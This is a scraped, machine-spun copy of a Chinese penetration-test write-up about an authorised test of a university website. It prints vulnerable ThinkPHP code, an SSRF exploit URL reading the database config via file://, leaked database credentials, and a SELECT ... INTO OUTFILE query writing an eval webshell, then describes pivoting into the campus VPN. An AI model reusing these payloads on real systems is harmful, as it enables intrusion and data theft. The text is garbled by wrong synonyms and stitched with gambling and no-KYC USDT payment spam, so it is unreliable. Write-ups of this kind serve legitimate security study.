皇冠体育寻求亚洲战略合作伙伴,皇冠代理招募中,皇冠平台开放会员注册、充值、提现、电脑版下载、APP下载。

首页科技正文

电银付app使用教程(dianyinzhifu.com):记一次通过代码审计完成的渗透

admin2021-01-1329安全技术众测渗透

这是一次针对某高校的授权平安测试,只给了目的学校的名字,所有资产自行网络。

信息网络无非老三样,百度、子域名、C端。

通过百度,我们找到了目的学校的域名example.edu.cn,首先使用百度搜索目的相关站点,实验发现懦弱站点。

接下来行使railgun对各个域名举行目录扫描,效果收获不小。

很意外的扫描发现某站点存在备份文件泄露的问题,网站源码被打包后存放在根目录下/www.rar。

下载以后获得了如下源码

电银付app使用教程(dianyinzhifu.com):记一次通过代码审计完成的渗透 安全技术 众测渗透 第1张

其中压缩包里打了三个名字很新鲜的文件,想想就以为可疑。打开以后可以发现这是通过phpmyadmin全局日志备份拿到的webshell

电银付app使用教程(dianyinzhifu.com):记一次通过代码审计完成的渗透 安全技术 众测渗透 第2张

复制链接放入菜刀拿到shell

竣事

不行,shell被删掉了。

而网站其他目录是两个thinkphp框架的民众号后端以及一个phpmyadmin。

电银付app使用教程(dianyinzhifu.com):记一次通过代码审计完成的渗透 安全技术 众测渗透 第3张

我们可以从thinkphp数据库配置文件读到mysql账号信息,为root/root。登录phpmyadmin导出文件拿到shell

竣事

固然不行,网络管理员照样挺称职的(除了源码备份留到根目录)。他发现根目录的webshell以后,分析出黑客是通过mysql弱口令进入phpmyadmin拿到webshell,于是修改了mysql密码。

至此,我们渗透目的站点只有一条思绪--->审计代码。

项目一

项目一只有两个API挪用,项目路由如下

电银付app使用教程(dianyinzhifu.com):记一次通过代码审计完成的渗透 安全技术 众测渗透 第4张

0x00 SQL注入

首先我们查看一下thinkphp版本。

电银付app使用教程(dianyinzhifu.com):记一次通过代码审计完成的渗透 安全技术 众测渗透 第5张

3.1.3除了注入不存在RCE以及其他威胁平安的破绽。

,

Usdt第三方支付平台

菜包钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜包Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

我们需要详细去看MVC中controller的实现来发现问题。

目的站点的两个wx_xxxx_rtm是两个差别的thinkphp项目,其中interface为接口,只有两个Controller

<?php  //indexController
class IndexAction extends PublicAction{
        // 首页
        public function index () {          
            $cate = new Model("content");
            $sql = "Select  c.CONTENT_ID,c. SORT_DATE ,a.TITLE, a.AUTHOR, a.RELEASE_DATE,b.TXT from jc_content c left join jc_content_ext   a on a. CONTENT_ID =c. CONTENT_ID left join jc_content_txt  b on b. CONTENT_ID =c. CONTENT_ID where c. CONTENT_ID in (select CONTENT_ID from jc_content_channel where channel_id in (75,76))  and c.status=2 order by c. SORT_DATE desc";
            echo json_encode($cate->query($sql));
        }
        public function content () {
            $id = $_GET['id'];
            $cate = new Model("content");
            $sql = "Select  c.CONTENT_ID,c. SORT_DATE ,a.TITLE, a.AUTHOR, a.RELEASE_DATE,b.TXT from jc_content c left join jc_content_ext   a on a. CONTENT_ID =c. CONTENT_ID left join jc_content_txt  b on b. CONTENT_ID =c. CONTENT_ID where  c.CONTENT_ID=".$id." and c.status=2 order by c. SORT_DATE desc";
            echo json_encode($cate->query($sql));
        }
}

可以很清晰的看到content方式直接把id拼入sql查询语句,存在sql注入。固然我们不只想要sql注入,许多时刻加盐就能解决许多问题。

0x01 难以行使的请求伪造

而publicAction包罗几个工具函数

private function httpGet($url) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_TIMEOUT, 500);
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);

    $res = curl_exec($curl);
    if ($res === FALSE) {
    echo "cURL Error: " . curl_error($curl);
}
    curl_close($curl);
    return $res;
  }

其中httpGet函数很明显,存在csrf破绽。但由于被private修饰,没办法直接挪用。跳过

项目二

项目二使用了同样的thinkphp版本,但包罗了完善的前台、后台、API等功能,预测很大概率存在一定破绽。

项目结构如下

电银付app使用教程(dianyinzhifu.com):记一次通过代码审计完成的渗透 安全技术 众测渗透 第6张

0x00 未授权接见

阅读代码可以发现这个系统的开发者似乎并不明白thinkphp的权限验证模式。

通常来说,thinkphp在需要权限验证的模块会建立一个基类,在基类初始化的方式中验证用户权限。我们只需要让需要权限验证的类继续该权限验证类即可。而这个开发者似乎并不能始终记着这一点。

class PublicAction extends Action {
        //验证上岸的初始方式
        public function _initialize () {
            $name = session("name");
            if(!$name){
                $this->redirect('Admin/Index/login');
            }
        }

我们可以看到他界说了相关的权限验证基类,然则实际上在后台某些模块并没有继续该类。

class AdminUserAction extends PublicAction 
class CommentAction extends Action
class NewsAction extends Action
class OrderAction extends Action
class SystemAction extends Action
    ...

有许多类都没有使用权限验证,造成了未授权接见

0x01随便文件删除

在admin模块下的SystemAction模块存在删除文件夹方式

public function rmdirr($dirname) {
            if (!file_exists($dirname)) {
                return false;
            }
            if (is_file($dirname) || is_link($dirname)) {
                return unlink($dirname);
            }
            $dir = dir($dirname);
            if($dir){
                while (false !== $entry = $dir->read()) {
                    if ($entry == '.' || $entry == '..') {
                        continue;
                    }
                    //递归
                    $this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry);
                }
            }
            $dir->close();
            return rmdir($dirname);
        }

该方式是一个public方式,可以直接被外部接见。我们通过未授权可以删除目的站点的文件夹。

0x02 请求伪造

在index/PublicAction/界说了几个挪用CURL的助手函数,而且为public属性,直接导致了CSRF破绽。

public function getCurl ($url) {
            //初始化
            $ch = curl_init();
            //设置选项,包罗URL
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 0);

            //执行并获取HTML文档内容
            $output = curl_exec($ch);

            //释放curl句柄
            curl_close($ch);

            //返回获得的数据
            return $output;         
        }
        //curl模拟post请求
        public function postCurl ($url,$post_data) {



            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            // post数据
            curl_setopt($ch, CURLOPT_POST, 1);
            // post的变量
            curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);

            $output = curl_exec($ch);
            curl_close($ch);

            //打印获得的数据
            print_r($output);       
        }
        //模拟登录 
        function login_get($url, $cookie) { 
            $curl = curl_init();//初始化curl模块 
            curl_setopt($curl, CURLOPT_URL, $url);//登录提交的地址 
            curl_setopt($curl, CURLOPT_HEADER, 0);//是否显示头信息 
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);//是否自动显示返回的信息 
            curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie); //设置Cookie信息保存在指定的文件中 
            curl_exec($curl);//执行cURL 
            curl_close($curl);//关闭cURL资源,而且释放系统资源 
        }
        //登录乐成后获取数据
        function get_content($url, $cookie) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie); //读取cookie
            $rs = curl_exec($ch); //执行cURL抓取页面内容
            curl_close($ch);
            return $rs;
        }

其中只有postCurl会将接见效果打印出来,我们于是可以挪用postCurl方式行使伪协议读取随便文件。固然首先目的就是database config。

目的要求传入两个参数url、postdata,我们都可以通过get方式把数据提交,最终组织EXP如下

http://*.*.*.*/wx_xxxxxx_rtm/index.php/Index/Search/postcurl?url=file://D:\WWW\wx_xxxxxx_rtm\App\Conf\config.php&post_data=1
//伪协议可以使用相对路径,使用绝对路径是由于最最先调试时存在莫名问题未能乐成。绝对路径行使thinkphp debug模式的报错拿到。
'DB_USER'   => 'root', // 用户名
    'DB_PWD'    => '123456789@abc', // 密码

拿到数据库密码进入phpmyadmin直接查询select '<?php eval($_GET[0]);?>' into outfile 'D:\\WWW\\1.php';拿到shell

后续

目的站点的web服务为system权限,但始终无法上线CS(已经免杀),只能换条路举行内网渗透。

数据库发现了一些学生用户的明文密码,行使学生用户密码我们登录进VPN。发现VPN没有举行任何的隔离,可以直接对整个学校内网举行渗透,详细便不再细谈。


网友评论

2条评论
  • 2021-01-13 00:04:28

    Allbet欧博官网欢迎进入Allbet欧博官网(www.ALLbetgame.us)。allbet欧博官网开放ALLBET欧博真人客户端、Allbet代理网页版、Allbet会员网页版、Allbet会员注册、Allbet代理开户、Allbet电脑客户端下载、Allbet手机版下载等业务。年度最佳就是你了